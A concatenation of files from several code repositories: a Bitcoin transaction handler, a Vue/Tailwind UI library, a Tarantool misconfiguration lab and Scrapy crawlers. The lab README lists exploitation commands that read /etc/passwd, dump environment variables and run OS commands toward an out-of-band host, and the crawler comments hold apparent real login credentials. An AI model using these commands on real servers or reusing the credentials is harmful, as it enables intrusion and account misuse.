public MaxFeeTxHandler(UTXOPool utxoPool) {
scrgLedger = new UTXOPool(utxoPool);
}
/**
* @return true if:
* (1) all outputs claimed by {@code tx} are in the current UTXO pool,
* (2) the signatures on each input of {@code tx} are valid,
* (3) no UTXO is claimed multiple times by {@code tx},
* (4) all of {@code tx}s output values are non-negative, and
* (5) the sum of {@code tx}s input values is greater than or equal to the sum of its output
* values; and false otherwise.
*/
public boolean isValidTx(Transaction tx) {
double txInputSum = 0;
double txOutputSum = 0;
UTXOPool doubleSpend = new UTXOPool();
for (int i = 0; i < tx.numInputs(); i++) {
Transaction.Input in = tx.getInput(i);
UTXO ut = new UTXO(in.prevTxHash, in.outputIndex);
// currently doesn't take into account internal claims
if (!scrgLedger.contains(ut)) return false;
Transaction.Output out = scrgLedger.getTxOutput(ut);
if (!Crypto.verifySignature(out.address, tx.getRawDataToSign(i), in.signature)) return false;
if (doubleSpend.contains(ut)) return false;
doubleSpend.addUTXO(ut,out);
txInputSum += out.value;
}
for (int i = 0; i < tx.numOutputs(); i++) {
if (tx.getOutput(i).value < 0) return false;
txOutputSum += tx.getOutput(i).value;
}
return txInputSum >= txOutputSum;
}
/**
* Creates a new class to store each transaction along with its fee.
* Will then be used for sorting based on Tx fee.
*/
public class TxWithFee implements Comparable<TxWithFee>{
Transaction tx;
double fee;
public TxWithFee(Transaction tx) {
this.tx = tx;
this.fee = txFee(tx);
}
public int compareTo(TxWithFee tx)
{
if (fee > tx.fee) return -1;
if (fee < tx.fee) return 1;
return 0;
}
}
/**
* Calculates transaction fee for a given transaction i.e. (sum of input values - sum of output values)
*/
public double txFee(Transaction tx) {
double txInputSum = 0;
double txOutputSum = 0;
for (Transaction.Input in : tx.getInputs()) {
UTXO ut = new UTXO(in.prevTxHash, in.outputIndex);
Transaction.Output out = scrgLedger.getTxOutput(ut);
txInputSum += out.value;
}
for (Transaction.Output out : tx.getOutputs()) {
txOutputSum += out.value;
}
return txInputSum - txOutputSum;
}
/**
* Handles each epoch by receiving an unordered array of proposed transactions, checking each
* transaction for correctness, returning a mutually valid array of accepted transactions with
* maximum total transaction fees, i.e. max{sum of input values - sum of output values} and
* updating the current UTXO pool as appropriate.
*/
public Transaction[] handleTxs(Transaction[] possibleTxs) {
ArrayList<TxWithFee> txWithFee = new ArrayList<TxWithFee>();
ArrayList<Transaction> txMaxFeeBlockList = new ArrayList<Transaction>();
for (Transaction tx : possibleTxs) {
if (isValidTx(tx)) {
txWithFee.add(new TxWithFee(tx));
}
}
Collections.sort(txWithFee);
for (TxWithFee entry : txWithFee) {
if (isValidTx(entry.tx)) {
for (Transaction.Input in : entry.tx.getInputs()) {
UTXO ut = new UTXO(in.prevTxHash, in.outputIndex);
scrgLedger.removeUTXO(ut);
}
for (int i = 0; i < entry.tx.numOutputs(); i++) {
UTXO ut = new UTXO(entry.tx.getHash(), i);
scrgLedger.addUTXO(ut,entry.tx.getOutput(i));
}
txMaxFeeBlockList.add(entry.tx);
}
}
Transaction txBlock[] = new Transaction[txMaxFeeBlockList.size()];
return txMaxFeeBlockList.toArray(txBlock);
}
}
```
runSimulation.sh
```#!/bin/bash
# A bash script to test the compliantNode code by running the
# Simulation file for 3x3x3x2 = 54 combinations.
# There are four required command line arguments:
# p_graph (.1, .2, .3), p_malicious (.15, .30, .45),
# p_txDistribution (.01, .05, .10), and numRounds (10, 20).
#
# User can choose number of tests e.g. only run the first 10 tests
#
clear
echo Enter number of tests you want to run [0 to 54]
read testNum
echo
num=0
for i in .1 .2 .3; do
for j in .15 .30 .45; do
for k in 0.01 .04 .10; do
for l in 10 20; do
if !(($num < $testNum)); then
exit
fi
echo ________________________________
echo
echo Test $num:
echo Simulation number $i $j $k $l:
echo ________________________________
echo
java Simulation $i $j $k $l
((num++))
done
done
done
done
```
|
0wlism/our-ui
|
0wlism/our-ui
webpack.prod.js
```const path = require('path')
const webpack = require('webpack')
const merge = require('webpack-merge')
const common = require('./webpack.common.js')
const OptimizeCSSAssetsPlugin = require('optimize-css-assets-webpack-plugin')
const UglifyJsPlugin = require('uglifyjs-webpack-plugin')
const HTMLWebPackPlugin = require('html-webpack-plugin')
module.exports = merge(common, {
mode: 'production',
devtool: 'source-map',
optimization: {
minimizer: [
new OptimizeCSSAssetsPlugin({}),
new UglifyJsPlugin({
sourceMap: false,
parallel: 4
})
]
}
})
module.exports.plugins = (module.exports.plugins || []).concat([
new webpack.DefinePlugin({
'process.env': {
NODE_ENV: '"production"'
}
}),
new webpack.LoaderOptionsPlugin({
minimize: true
}),
new HTMLWebPackPlugin({
template: path.join(__dirname, './index.html')
})
])
```
index.js
```import ShrinkRect from './shrink-rect.vue'
import DoubleBounce from './double-bounce.vue'
import Bounce from './bounce.vue'
import Loop from './loop.vue'
import RotatePlane from './rotate-plane.vue'
import DoubleDot from './double-dot.vue'
import ScaleOut from './scale-out.vue'
import DoubleCube from './double-cube.vue'
export default {
ShrinkRect,
DoubleBounce,
Bounce,
Loop,
RotatePlane,
DoubleDot,
ScaleOut,
DoubleCube
}
// export default {
// ShrinkRect: () => import('./shrink-rect.vue'),
// DoubleBounce: () => import('./double-bounce.vue'),
// Bounce: () => import('./bounce.vue'),
// Loop: () => import('./loop.vue'),
// RotatePlane: () => import('./rotate-plane.vue'),
// DoubleDot: () => import('./double-dot.vue'),
// ScaleOut: () => import('./scale-out.vue'),
// DoubleCube: () => import('./double-cube.vue')
// }
```
webpack.lib.js
```const path = require('path')
const os = require('os')
const webpack = require('webpack')
const merge = require('webpack-merge')
const common = require('./webpack.common.js')
const OptimizeCSSAssetsPlugin = require('optimize-css-assets-webpack-plugin')
const UglifyJsPlugin = require('uglifyjs-webpack-plugin')
module.exports = merge(common, {
mode: 'production',
entry: {
'our-ui': path.join(__dirname, './src/index.js')
},
output: {
path: path.join(__dirname, './lib'),
filename: '[name].min.js',
chunkFilename: '[id].chunk.[hash].js',
library: '[name]',
libraryTarget: 'umd',
libraryExport: 'default'
// umdNamedDefine: true
},
devtool: 'source-map',
optimization: {
minimizer: [
new OptimizeCSSAssetsPlugin({}),
new UglifyJsPlugin({
sourceMap: false,
parallel: os.cpus().length, // 并发数
uglifyOptions: {
output: {
comments: false,
}
}
})
]
}
})
module.exports.plugins = (module.exports.plugins || []).concat([
new webpack.DefinePlugin({
'process.env': {
NODE_ENV: '"production"'
}
}),
new webpack.LoaderOptionsPlugin({
minimize: true
})
])
```
main.js
```import Vue from 'vue'
import App from './App.vue'
import router from '../router'
// dev开发
import OurUi from '../src/index'
// 测试lib(由于异步加载组件,css和js被分离了,所以这里开发测试不了)
// import '../lib/our-ui.min.css'
// import OurUi from '../lib/our-ui.min.js'
// 全局引入
Vue.use(OurUi)
new Vue({
el: '#app',
router,
render: h => h(App)
})
```
webpack.common.js
```const path = require('path')
// const webpack = require('webpack')
const VueLoaderPlugin = require('vue-loader/lib/plugin')
const MiniCssExtractPlugin = require('mini-css-extract-plugin')
module.exports = {
entry: {
'our-ui': [path.join(__dirname, './demo/main.js')]
},
output: {
path: path.join(__dirname, './dist'),
filename: 'bundle.js',
chunkFilename: process.env.NODE_ENV === 'production' ? '[id].chunk.[hash].js' : '[id].chunk.js',
libraryTarget: 'umd',
libraryExport: 'default'
},
module: {
rules: [{
test: /\.vue$/,
loader: 'vue-loader'
},
{
test: /\.js$/,
exclude: /(node_modules| bower_components)/, // 为了增加构造速度
loader: 'babel-loader?cacheDirectory=true'
},
{
test: /\.css$/,
use: [
'vue-style-loader',
{
loader: MiniCssExtractPlugin.loader,
options: {
esModule: true,
}
},
'css-loader',
{
loader: 'postcss-loader',
options: {
ident: 'postcss',
plugins: [
require('tailwindcss'),
require('autoprefixer')
]
}
}
]
}
]
},
plugins: [
new MiniCssExtractPlugin({
filename: process.env.NODE_ENV === 'production' ? '[name].min.css' : '[name].css',
chunkFilename: process.env.NODE_ENV === 'production' ? '[id].chunk.[hash].css' : '[id].chunk.css'
}),
new VueLoaderPlugin()
]
}
```
README.md
```# Our UI
这是一款基于tailwind 和 vue 的 UI 组件库
---
## 使用步骤
### 安装
```
npm install our-ui
```
### 引入样式
在全局引入样式 `our-ui-min.css`,例如:
```javascript
import Vue from 'vue'
import App from './App.vue'
import 'our-ui/lib/our-ui.min.css' // 引入
new Vue({
el: '#app',
render: h => h(App)
})
```
### 引入组件
#### 1,全局引入
以插件的方式在全局注册所有组件
```javascript
import Vue from 'vue'
import App from './App.vue'
import 'our-ui/lib/our-ui.min.css'
import OurUi from 'our-ui'
Vue.use(OurUi)
new Vue({
el: '#app',
render: h => h(App)
})
```
在全局注册部分组件
```javascript
import Vue from 'vue'
import App from './App.vue'
import 'our-ui/lib/our-ui.min.css'
import { OurLoading } from 'our-ui'
Vue.component(OurLoading.name, OurLoading);
new Vue({
el: '#app',
render: h => h(App)
})
```
#### 2,局部引入
```javascript
import { OurLoading } from 'our-ui'
export default {
components: { OurLoading }
}
```
---
## 组件列表
### GoTop
| Props | Type | Default | Description |
| ----------- | ------ | ------- | ----------------------------------------------------------- |
| scrollY | Number | 1000 | 控制滚动到距离视口上方多少显示组件,如果设置为0,则永久显示 |
| scrollSpeed | Number | 100 | 滚动到上方的速度 |
| color | String | #000 | 内置图标的颜色 |
| right | Number | 30 | 距离视口右边的距离 |
| bottom | Number | 50 | 距离视口下边的距离 |
| width | Number | 50 | 图标的宽度 |
| height | Number | 50 | 图标的高度 |
| zIndex | Number | 1000 | 层级 |
> 最好在项目的布局组件里引入,如果有布局组件的话
### Loading
> 参考了[vue-element-loading](https://github.com/biigpongsatorn/vue-element-loading/blob/master/README.md),所以配置项差不多
| Props | Type | Default | Description |
| ---------------- | ------- | ----------------------- | ------------------------------------------------------------ |
| active | Boolean | false | 控制是否显示 |
| spinner | String | loop | 加载的内置图型样式:bounce,double-bounce,double-cube,double-dot,loop,rotate-plane,scale-out,shrink-rect |
| color | String | #000 | 加载的内置图型样式的颜色 |
| background-color | String | rgba(255, 255, 255, .9) | 加载蒙板的背景色 |
| size | Number | 40 | 加载的内置图型样式的大小(对自定义的加载图型无效) |
| is-full-screen | Boolean | false | 控制加载动画是否全屏展示 |
| text | String | | 自定义文本,显示在加载图标下方 |
| text-style | Object | {} | 自定义文本的样式,接收一个js样式对象 |
#### 加载样式

#### 例子
直接使用
```html
<template>
<div class='parent'>
<OurLoading spinner='double-cube' isFullScreen active text="loading..." />
</div>
</template>
```
自定义加载动画
```html
<template>
<div class='parent'>
<our-loading active >
<img src="../static/loader.gif" />
</our-loading>
</div>
</template>
```
> 注意要给父元素设置一个宽高
```
|
0x111/tailwind-starter
|
0x111/tailwind-starter
README.md
```# tailwind-starter
Tailwind Starter template pre-configured!
## Building and running on localhost
First install dependencies:
```sh
yarn install
```
To run in hot module reloading mode:
```sh
yarn start
```
To create a production build:
```sh
yarn run build-prod
```
## Running
Open the file `dist/index.html` in your browser
## Credits
Made with [createapp.dev](https://createapp.dev/)
```
|
0x566164696D/missconfigured-tarantool
|
0x566164696D/missconfigured-tarantool
README.md
```# Сборка Tarantool для иллюстрации ошибок конфигурации
## Описание
Сборка включает в себя 3 тестовых приложения
- Порт 3301. Приложение, где учетная запись guest имеет права на создание объектов, вызов модуля os и т.п.
- Порт 3302. Учетная запись guest ограничена в правах, но есть учетная запись test с простым паролем
- Порт 3303. Учетная запись guest ограничена в правах, остальные учетные записи имеют несловарный пароль.
## Сборка и запуск
```
docker build . -t 'missconfigured-tarantool'
docker run --net=host --rm --name missconfigured-tarantool missconfigured-tarantool
```
## Образ с Docker Hub
```
docker run --net=host --rm --name missconfigured-tarantool 0x566164696d/missconfigured-tarantool
```
## Команды tarantoolctl и примеры эксплуатации
### Ruby
Подключение под пользователем guest
```
require 'tarantool16'
tdb = Tarantool16.new host:'127.0.0.1:3301'
```
Подключение под пользователем с паролем
```
require 'tarantool16'
tdb = Tarantool16.new host:'127.0.0.1:3302', user:'test', password:'qwerty321'
```
Информация о текущем пользователе
`tdb.call( 'box.session.user', [] )`
Детальная информация о пользователе
`tdb.call( 'box.schema.user.info', ['myusername'])`
Получение списка пользователей
`tdb.call( 'box.space._user:select', [] )`
Создание пользователя
`tdb.call( 'box.schema.user.create', ['petya', {password: 'X'}] )`
Получение переменных окружения
`tdb.call( 'os.environ', [] )`
Выполнение команд OS
`tdb.call( 'os.execute', ['getent hosts __some_oob_servive__'] )`
### tarantoolctl
Подключение под guest
`tarantoolctl connect 127.0.0.1:3301`
Подключение с login \ pass
`tarantoolctl connect login:pass@127.0.0.1:3301`
Получение переменных окружения
`echo "os.environ()" | tarantoolctl connect 127.0.0.1:3301`
Чтением локальных файлов
```
echo "fh = fio.open('/etc/passwd', {'O_RDONLY'})" | tarantoolctl connect 127.0.0.1:3301
echo "fh:pread(10000,0)" | tarantoolctl connect 127.0.0.1:3301
```
Выполнение комманд OS также работает, но в blind режиме
`echo "os.execute('getent hosts __some_oob_servive__')" | tarantoolctl connect 127.0.0.1:3301`
## Ссылки
https://github.com/tarantool/tarantool-ruby
https://www.tarantool.io/en/doc/1.10/book/box/authentication/
```
|
0x686c70/SPpro
|
0x686c70/SPpro
lagou.py
```# -*- coding: utf-8 -*-
import scrapy
from scrapy.linkextractors import LinkExtractor
from scrapy.spiders import CrawlSpider, Rule
from items import LagouJobItemloader, LagouJobItem
from utils.common import get_md5, get_common_range
from datetime import datetime
class LagouSpider(CrawlSpider):
name = 'lagou'
allowed_domains = ['www.lagou.com']
start_urls = ['https://www.lagou.com/']
count = 0
# rule的 process_links 参数传进的函数可用以控制爬取数量
rules = (
Rule(LinkExtractor(allow=r'zhaopin/.*'), follow=True),
Rule(LinkExtractor(allow=r'gongsi/j\d+.*'), follow=True),
Rule(LinkExtractor(allow=r'jobs/\d+.html'), callback='parse_job', follow=True),
)
# def parse_start_url(self, response):
# return []
#
# def process_results(self, response, results):
# if self.count <= 10:
# self.count += 1
# return results
# else:
# pass
def parse_job(self, response):
# 解析拉钩网职位
salary = response.css('.job_request .salary::text').extract()
work_years = response.xpath('//*[@class="job_request"]/p/span[3]/text()').extract()
if get_common_range(salary):
if len(get_common_range(salary)) == 1:
salary_min = get_common_range(salary)[0]
salary_max = 99
else:
salary_min = get_common_range(salary)[0]
salary_max = get_common_range(salary)[1]
else:
salary_min = 0
salary_max = 0
if get_common_range(work_years):
if len(get_common_range(work_years)) == 1:
work_years_min = get_common_range(work_years)[0]
work_years_max = 99
else:
work_years_min = get_common_range(work_years)[0]
work_years_max = get_common_range(work_years)[1]
else:
work_years_min = 0
work_years_max = 0
item_loader = LagouJobItemloader(item=LagouJobItem(), response=response)
item_loader.add_value('salary_min', salary_min)
item_loader.add_value('salary_max', salary_max)
item_loader.add_value('work_years_min', work_years_min)
item_loader.add_value('work_years_max', work_years_max)
item_loader.add_css('title', '.job-name::attr(title)')
item_loader.add_value('url', response.url)
item_loader.add_value('url_object_id', get_md5(response.url))
# item_loader.add_css('salary_min', '.job_request .salary::text')
# item_loader.add_css('salary_max', '.job_request .salary::text')
# item_loader.add_css('salary', '.job_request .salary::text')
item_loader.add_xpath('job_city', '//*[@class="job_request"]/p/span[2]/text()')
# item_loader.add_xpath('work_years_min', '//*[@class="job_request"]/p/span[3]/text()')
# item_loader.add_xpath('work_years_max', '//*[@class="job_request"]/p/span[3]/text()')
# item_loader.add_xpath('work_years', '//*[@class="job_request"]/p/span[3]/text()')
item_loader.add_xpath('degree_demand', '//*[@class="job_request"]/p/span[4]/text()')
item_loader.add_xpath('job_type', '//*[@class="job_request"]/p/span[5]/text()')
item_loader.add_css('tags', '.position-label li::text')
item_loader.add_css('publish_time', '.publish_time::text')
item_loader.add_css('job_advantage', '.job-advantage p::text')
item_loader.add_css('job_desc', '.job_bt div')
item_loader.add_css('job_addr', '.work_addr')
item_loader.add_css('company_name', '#job_company dt a img::attr(alt)')
item_loader.add_css('company_url', '#job_company dt a::attr(href)')
item_loader.add_value('crawl_time', datetime.now())
job_item = item_loader.load_item()
return job_item
```
__init__.py
```# -*- coding:utf-8 -*-
__author__ = 'WdAxz'
__date__ = '2017-04-17 20:55'```
README.md
```## This is a scrapy spider practice proj.
spider include jobbole.com lagou.com zhihu.com 3 site crawler.
using both basespider crawlspider template.
```
selenium_spider.py
```# -*- coding:utf-8 -*-
__author__ = 'WdAxz'
__date__ = '2017-04-18 19:17'
from selenium import webdriver
from scrapy.selector import Selector
# browser.get('https://www.zhihu.com/#signin')
#
# browser.find_element_by_css_selector('.view-signin input[name="account"]').send_keys("846146039@qq.com")
# browser.find_element_by_css_selector('.view-signin input[name="password"]').send_keys('667519zxc')
# browser.find_element_by_css_selector('.view-signin button.sign-button').click()
# selenium完成微博自动登录
# import time
# time.sleep(5)
# browser.find_element_by_css_selector('#loginname').send_keys('15878750876')
# browser.find_element_by_css_selector('.info_list.password input[name="password"]').send_keys('LH8.8zxc')
# browser.find_element_by_css_selector('.info_list.login_btn a[node-type="submitBtn"]').click()
# for i in range(3):
# browser.execute_script('window.scrollTo(0, document.body.scrollHeight); var lengthOfPage=document.body.scrollHeight; return lengthOfPage;')
# time.sleep(3)
# t_selector = Selector(text=browser.page_source)
# print(t_selector.css('.tm-promo-price .tm-price::text').extract())
# browser.quit()
# DISABLE LOAD IMAGES FOR Chrome 不加载图片
# chrome_opt = webdriver.ChromeOptions()
# prefs = {'profile.managed_default_content_settings.images': 2}
# chrome_opt.add_experimental_option('prefs', prefs)
# E:/PythonEnvs/selenium_chrome_driver/chromedriver.exe
# browser = webdriver.PhantomJS(executable_path='E:/PhantomJS/phantomjs-2.1.1-windows/bin/phantomjs.exe')
# For Firefox不加载图片
# firefox_profile = webdriver.FirefoxProfile()
# firefox_profile.set_preference('permissions.default.image', 2)
# browser = webdriver.Firefox(executable_path='E:/PythonEnvs/firefox_driver/geckodriver.exe'
# , firefox_profile=firefox_profile)
#
# browser.get('https://item.taobao.com/item.htm?spm=a219r.lm895.14.20.LtgxhE&id=522142735808&ns=1&abbucket=13')
# print(browser.page_source)
# browser.quit()
```
items.py
```# -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# http://doc.scrapy.org/en/latest/topics/items.html
import re
import scrapy
import datetime
from scrapy.loader import ItemLoader
from settings import SQL_DATETIME_FORMAT, SQL_DATE_FORMAT
from scrapy.loader.processors import MapCompose, TakeFirst, Join
from utils.common import extract_nums
from w3lib.html import remove_tags
class ArticlespiderItem(scrapy.Item):
# define the fields for your item here like:
# name = scrapy.Field()
pass
def date_convert(value):
try:
create_date = datetime.datetime.strptime(value, '%Y/%m/%d')
except Exception as e:
create_date = datetime.datetime.now().date()
return create_date
def get_nums(value):
match_re = re.match(r'.*?(\d+).*', value)
if match_re:
nums = match_re.group(1)
else:
nums = 0
return nums
def remove_comment_tags(value):
# 去掉tag中提取的 评论
if '评论' in value:
return ''
else:
return value
def return_value(value):
return value
class ArticleItemloader(ItemLoader):
default_output_processor = TakeFirst()
class JobBoleArticleItem(scrapy.Item):
title = scrapy.Field(
input_processor=MapCompose(lambda x: x+'-jobbole')
)
create_date = scrapy.Field(
input_processor=MapCompose(date_convert)
)
url = scrapy.Field()
url_object_id = scrapy.Field()
front_image_url = scrapy.Field(
output_processor=MapCompose(return_value)
)
front_image_path = scrapy.Field()
praise_nums = scrapy.Field(
input_processor=MapCompose(get_nums)
)
comment_nums = scrapy.Field(
input_processor=MapCompose(get_nums)
)
fav_nums = scrapy.Field(
input_processor=MapCompose(get_nums)
)
tags = scrapy.Field(
input_processor=MapCompose(remove_comment_tags),
output_processor=Join(',')
)
content = scrapy.Field()
def get_insert_sql(self):
insert_sql = """
INSERT INTO jobbole_article(title,url,url_object_id,create_date,front_image_url,front_image_path,comment_nums,
fav_nums,praise_nums,tags,content)
VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)
ON DUPLICATE KEY UPDATE fav_nums=VALUES(fav_nums),
comment_nums=VALUES(comment_nums), praise_nums=VALUES(praise_nums)
"""
params = (self['title'], self['url'], self['url_object_id'], self['create_date']
, self['front_image_url'][0], self['front_image_path'], self['comment_nums']
, self['fav_nums'], self['praise_nums'], self['tags'], self['content'],
)
return insert_sql, params
class ZhihuQuestionItem(scrapy.Item):
# 知乎问题item
zhihu_id = scrapy.Field()
topics = scrapy.Field()
url = scrapy.Field()
title = scrapy.Field()
content = scrapy.Field()
answer_nums = scrapy.Field()
comment_nums = scrapy.Field()
watch_user_nums = scrapy.Field()
click_nums = scrapy.Field()
crawl_time = scrapy.Field()
def get_insert_sql(self):
# 插入知乎question表达sql语句
insert_sql = """
INSERT INTO zhihu_question(zhihu_id,topics,url,title,content,comment_nums,answer_nums,
watch_user_nums,click_nums,crawl_time)
VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)
ON DUPLICATE KEY UPDATE content=VALUES(content),
answer_nums=VALUES(answer_nums), comment_nums=VALUES(comment_nums), watch_user_nums=VALUES(watch_user_nums),
click_nums=VALUES(click_nums)
"""
zhihu_id = self['zhihu_id'][0]
topics = ','.join(self['topics'])
url = ''.join(self['url'])
title = ''.join(self['title'])
content = ''.join(self['content'])
comment_nums = extract_nums(''.join(self['comment_nums']))
answer_nums = extract_nums(''.join(self['answer_nums']))
if len(self['watch_user_nums']) == 2:
watch_user_nums = int(self['watch_user_nums'][0])
click_nums = int(self['watch_user_nums'][1])
else:
watch_user_nums = int(self['watch_user_nums'][0])
click_nums = 0
crawl_time = datetime.datetime.now().strftime(SQL_DATETIME_FORMAT)
params = (zhihu_id, topics, url, title
, content, comment_nums, answer_nums
, watch_user_nums, click_nums, crawl_time,
)
return insert_sql, params
class ZhihuAnswerItem(scrapy.Item):
# 知乎回答item
zhihu_id = scrapy.Field()
url = scrapy.Field()
question_id = scrapy.Field()
author_id = scrapy.Field()
content = scrapy.Field()
praise_nums = scrapy.Field()
comment_nums = scrapy.Field()
create_time = scrapy.Field()
update_time = scrapy.Field()
crawl_time = scrapy.Field()
def get_insert_sql(self):
# 插入知乎question表达sql语句
insert_sql = """
INSERT INTO zhihu_answer(zhihu_id,url,question_id,author_id,content,praise_nums,comment_nums,
create_time,update_time,crawl_time)
VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)
ON DUPLICATE KEY UPDATE content=VALUES(content),
comment_nums=VALUES(comment_nums), praise_nums=VALUES(praise_nums), update_time=VALUES(update_time)
"""
create_time = datetime.datetime.fromtimestamp(self['create_time']).strftime(SQL_DATETIME_FORMAT)
update_time = datetime.datetime.fromtimestamp(self['update_time']).strftime(SQL_DATETIME_FORMAT)
params = (self['zhihu_id'], self['url'], self['question_id'], self['author_id'], self['content']
, self['praise_nums'], self['comment_nums'], create_time
, update_time, self['crawl_time'].strftime(SQL_DATETIME_FORMAT),
)
return insert_sql, params
def remove_splash(value):
return value.replace('/', '').rstrip()
def handle_jobaddr(value):
addr_list = value.split('\n')
addr_list = [item.strip() for item in addr_list if item.strip() != '查看地图']
return ''.join(addr_list)
class LagouJobItemloader(ItemLoader):
# 自定义输出itemloader
default_output_processor = TakeFirst()
class LagouJobItem(scrapy.Item):
# 拉勾网职位信息
title = scrapy.Field()
url = scrapy.Field()
url_object_id = scrapy.Field()
# salary = scrapy.Field()
salary_min = scrapy.Field()
salary_max = scrapy.Field()
job_city = scrapy.Field(
input_processor=MapCompose(remove_splash),
)
# work_years = scrapy.Field()
work_years_min = scrapy.Field()
work_years_max = scrapy.Field()
degree_demand = scrapy.Field(
input_processor=MapCompose(remove_splash),
)
job_type = scrapy.Field(
input_processor=MapCompose(remove_splash),
)
publish_time = scrapy.Field()
tags = scrapy.Field(
input_processor=Join(','),
)
job_advantage = scrapy.Field()
job_desc = scrapy.Field()
job_addr = scrapy.Field(
input_processor=MapCompose(remove_tags, handle_jobaddr),
)
company_url = scrapy.Field()
company_name = scrapy.Field()
crawl_time = scrapy.Field()
crawl_update_time = scrapy.Field()
def get_insert_sql(self):
# 插入知乎question表达sql语句
insert_sql = """
INSERT INTO lagou_job(title,url,url_object_id,salary_min,salary_max,job_city,work_years_min,
work_years_max,degree_demand,job_type,publish_time ,tags ,job_advantage ,job_desc ,job_addr,
company_url, company_name , crawl_time
)
VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)
ON DUPLICATE KEY UPDATE job_desc=VALUES(job_desc),
publish_time=VALUES(publish_time), salary_min=VALUES(salary_min), salary_max=VALUES(salary_max),
tags=VALUES(tags)
"""
# 18各字段
params = (self['title'], self['url'], self['url_object_id'], self['salary_min'], self['salary_max']
, self['job_city'], self['work_years_min'], self['work_years_max'], self['degree_demand'],
self['job_type'], self['publish_time'], self['tags'], self['job_advantage'],
self['job_desc'], self['job_addr'], self['company_url']
, self['company_name'], self['crawl_time'].strftime(SQL_DATETIME_FORMAT),
)
return insert_sql, params
```
zhihu.py
```# -*- coding: utf-8 -*-
import scrapy
import re
import json
import datetime
from scrapy.loader import ItemLoader
from items import ZhihuAnswerItem, ZhihuQuestionItem
from tools.yundama_request import YDMHttp
try:
import urlparse as parse
except:
from urllib import parse
class ZhihuSpider(scrapy.Spider):
name = "zhihu"
allowed_domains = ["www.zhihu.com"]
start_urls = ['http://www.zhihu.com/']
# question的第一页answer的请求url
start_answer_url = 'https://www.zhihu.com/api/v4/questions/{0}/answers?include=data[*].is_normal,is_sticky,collapsed_by,suggest_edit,comment_count,can_comment,content,editable_content,voteup_count,reshipment_settings,comment_permission,mark_infos,created_time,updated_time,relationship.is_authorized,is_author,voting,is_thanked,is_nothelp,upvoted_followees;data[*].author.badge[?(type=best_answerer)].topics&offset={1}&limit={2}&sort_by=default'
header = {
'HOST': 'www.zhihu.com',
'Referer': 'https://www.zhihu.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0'
}
# custom_settings = {
# "COOKIES_ENABLED": False
# }
crawl_count = 0
def parse(self, response):
"""
提取出html页面中的所有URL并跟中URL进一步爬取
如果提取的url中格式为/question/xxx 就下载后直接进入解析函数
"""
all_urls = response.css('a::attr(href)').extract()
all_urls = [parse.urljoin(response.url, url) for url in all_urls]
all_urls = filter(lambda x: True if x.startswith('https') else False, all_urls)
for url in all_urls:
match_obj = re.match('(.*zhihu.com/question/(\d+))(/|$).*', url)
if match_obj and self.crawl_count <= 10:
self.crawl_count += 1
# 如果提取到 question页面则提交解析
requset_url = match_obj.group(1)
question_id = match_obj.group(2)
yield scrapy.Request(requset_url, headers=self.header, meta={'question_id': question_id},
callback=self.parse_question)
break
else:
pass
# 不是question页面继续请求
# yield scrapy.Request(url, headers=self.header, callback=self.parse)
pass
def parse_question(self, response):
# 处理question页面,从页面中提取出具体的quesiton item
if 'QuestionHeader-title' in response.text:
# 新版本
question_id = int(response.meta.get('question_id', ''))
item_loader = ItemLoader(item=ZhihuQuestionItem(), response=response)
item_loader.add_value('zhihu_id', question_id)
item_loader.add_css('title', 'h1.QuestionHeader-title::text')
item_loader.add_css('content', '.QuestionHeader-detail')
item_loader.add_value('url', response.url)
item_loader.add_css('answer_nums', '.List-headerText span::text')
item_loader.add_css('comment_nums', '.QuestionHeader-actions button::text')
item_loader.add_css('watch_user_nums', '.NumberBoard-value::text')
item_loader.add_css('topics', '.QuestionHeader-topics .Popover div::text')
question_item = item_loader.load_item()
else:
# 旧版本
question_id = int(response.meta.get('question_id', ''))
item_loader = ItemLoader(item=ZhihuQuestionItem(), response=response)
item_loader.add_value('zhihu_id', question_id)
item_loader.add_xpath("title", "//*[@id='zh-question-title']/h2/a/text()|//*[@id='zh-question-title']/h2/span/text()")
item_loader.add_css("content", "#zh-question-detail")
item_loader.add_value("url", response.url)
item_loader.add_css("answer_nums", "#zh-question-answer-num::text")
item_loader.add_css("comment_nums", "#zh-question-meta-wrap a[name='addcomment']::text")
# item_loader.add_css("watch_user_num", "#zh-question-side-header-wrap::text")
item_loader.add_xpath("watch_user_nums", "//*[@id='zh-question-side-header-wrap']/text()|//*[@class='zh-question-followers-sidebar']/div/a/strong/text()")
item_loader.add_css("topics", ".zm-tag-editor-labels a::text")
question_item = item_loader.load_item()
yield scrapy.Request(self.start_answer_url.format(question_id, 0, 20), headers=self.header, callback=self.parse_answer)
yield question_item
def parse_answer(self, response):
# 处理question的answer
answer_json = json.loads(response.text)
is_end = answer_json['paging']['is_end']
next_url = answer_json['paging']['next']
# 提取answer的具体字段
for answer in answer_json['data']:
answer_item = ZhihuAnswerItem()
answer_item['zhihu_id'] = answer['id']
answer_item['url'] = answer['url']
answer_item['question_id'] = answer['question']['id']
answer_item['author_id'] = answer['author']['id'] if 'id' in answer['author'] else None
answer_item['content'] = answer['content'] if 'content' in answer else None
answer_item['praise_nums'] = answer['voteup_count']
answer_item['comment_nums'] = answer['comment_count']
answer_item['create_time'] = answer['created_time']
answer_item['update_time'] = answer['updated_time']
answer_item['crawl_time'] = datetime.datetime.now()
yield answer_item
if not is_end:
yield scrapy.Request(next_url, headers=self.header, callback=self.parse_answer)
def start_requests(self):
return [scrapy.Request('https://www.zhihu.com/#signin', headers=self.header, callback=self.login)]
def login(self, response):
response_text = response.text
match_obj = re.match('.*name="_xsrf" value="(.*?)"', response_text, re.DOTALL)
xsrf = ''
if match_obj:
xsrf = match_obj.group(1)
if xsrf:
post_url = 'https://www.zhihu.com/login/email'
post_data = {
'_xsrf': xsrf,
'email': 'your_email',
'password': 'your_passwd',
'captcha': ''
}
import time
t = str(int(time.time()*1000))
captcha_url = 'https://www.zhihu.com/captcha.gif?r={0}&type=login'.format(t)
yield scrapy.Request(captcha_url, headers=self.header, meta={'post_data': post_data},
callback=self.login_after_captcha)
def login_after_captcha(self, response):
with open('captcha.jpg', 'wb') as f:
f.write(response.body)
f.close()
im = open('captcha.jpg', 'rb')
im_read = im.read()
im.close()
